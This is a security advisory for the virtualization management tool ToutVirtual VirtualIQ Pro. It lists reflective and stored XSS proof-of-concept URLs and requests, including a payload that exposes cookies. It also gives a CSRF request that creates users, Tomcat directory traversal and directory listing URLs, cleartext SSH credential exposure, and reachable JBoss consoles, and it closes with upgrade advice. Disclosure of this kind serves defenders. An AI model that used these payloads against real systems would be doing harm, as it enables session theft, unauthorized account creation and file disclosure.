*** SUMMARY ***



ToutVirtual's VirtualIQ Pro is specifically designed for IT administrators 

responsible for managing virtual platforms. VirtualIQ Pro provides

Visibility, Analytics and policy-based Optimization - all from one single

console. VirtualIQ Pro is hypervisor-agnostic supporting both Type I and Type 

II hypervisors. VirtualIQ Pro can be used to visualize, analyze and 

optimize your choice of virtualization platform - Citrix, Microsoft,

Novell, Oracle and/or VMware.



Multiple vulnerabilities has been found which a allow an attacker to conduct 

various XSS and CSRF attack, and other attacks due to the use 

of an old an not hardened version of the web server.



*** VULNERABILITY DETAILS ***



(a) Cross-site scripting (XSS)



Due to an improper sanitization of user's input, multiple XSS attacks 

(reflective and stored) are possible.

Reflective PoCs:



http://server:9080/tvserver/server/user/setPermissions.jsp?userId=1"><sc

ript>alert(1)</script>&resultResourceIds=111-222-1933email (at) address (dot) t [email concealed]

st



http://server:9080/tvserver/server/user/addDepartment.jsp?addNewDept=0&a

mp;deptName=%22;alert(1);//&deptId=1&deptDesc=asd



http://server:9080/tvserver/server/inventory/inventoryTabs.jsp?ID=1;aler

t(1);//



http://server:9080/tvserver/reports/virtualIQAdminReports.do?command=get

Filter&reportName=%22%3E%3Cscript%3Ealert(1)%3C/script%3E



Stored XSS attacks can be triggered in the "Middle Name" parameter in the 

"Edit Profile" page with an HTTP request like the following:



POST /tvserver/user/user.do?command=save&userId=1 HTTP/1.1

Host: server:9080

Cookies: JSESSIONID=[...]



userName=IQMANAGER&firstName=IQ&middleName=asd'; 

alert(document.cookie);//&lastName=MANAGER&email=user%40domain.it&passwo

rd=********&retypePassword=********&redirect=null&passwordModifed=false&

isReportUser=false&roleId=1&supervisorId=1&departmentId=1&locationId=1



(b) Cross-site request forgery (CSRF)



An attacker can perform different types of CSRF attacks against a logged user. 

He can, for example, shutdown, start or restart an arbitrary

virtual machine, schedule new activities and so on.



The following HTTP request, if forged by the attacker and executed by the 

victim while logged on VirtualIQ, creates an arbitrary user:



POST /tvserver/user/user.do?command=save&userId= HTTP/1.1

Host: server:9080

Cookie: JSESSIONID=[...]



userName=asd1&firstName=asd2&middleName=asd3&lastName=asd4&email=asd5%40

asd.com&password=asd6&retypePassword=asd6=null&passwordModifed=

false&isReportUser=false&roleId=1&supervisorId=1&departmentId=1&location

Id=1



(c) Web server vulnerabilities



VirtualIQ runs on top of an old version of Apache Tomcat: 5.5.9, for which 

multiple public vulnerabilities have been released. As a 

PoC, a directory traversal attack (CVE-2008-2938) 

can be performed as:



http://server:9080/tvserver/server/%C0%AE%C0%AE/WEB-INF/web.xml



Listing of an arbitrary directory (CVE-2006-3835) can also be obtained with 

the following PoC:



http://192.168.229.85:9080/tvserver/server/;index.jsp



(d) Information Leakage



Tomcat status page should be disabled or restricted, being accessible at:



http://status:9080/status



Username and password to access a VM through SSH are also available in clear 

text in the configuration page. 

Since an XSS vulnerability can also be triggered in the same page, an attacker 

would also be able to easily capture the full credentials to access 

the VM with a specially crafted XSS payload.



(e) Remote code execution



JBoss JMX Management Console is exposed and can be used by remote attackers to 

execute arbitrary commands on the system:



http://server:9080/jmx-console/



JBoss Web Console is exposed as well and can be used by remote attackers to 

execute any command on the system:



http://server:9080/web-console/



*** EXPLOIT ***



Attackers may exploit these issues through a common browser as explained 

above.



*** FIX INFORMATION ***



Upgrade to the latest version, at the moment 3.5 build 10.14.2009



*** WORKAROUNDS ***
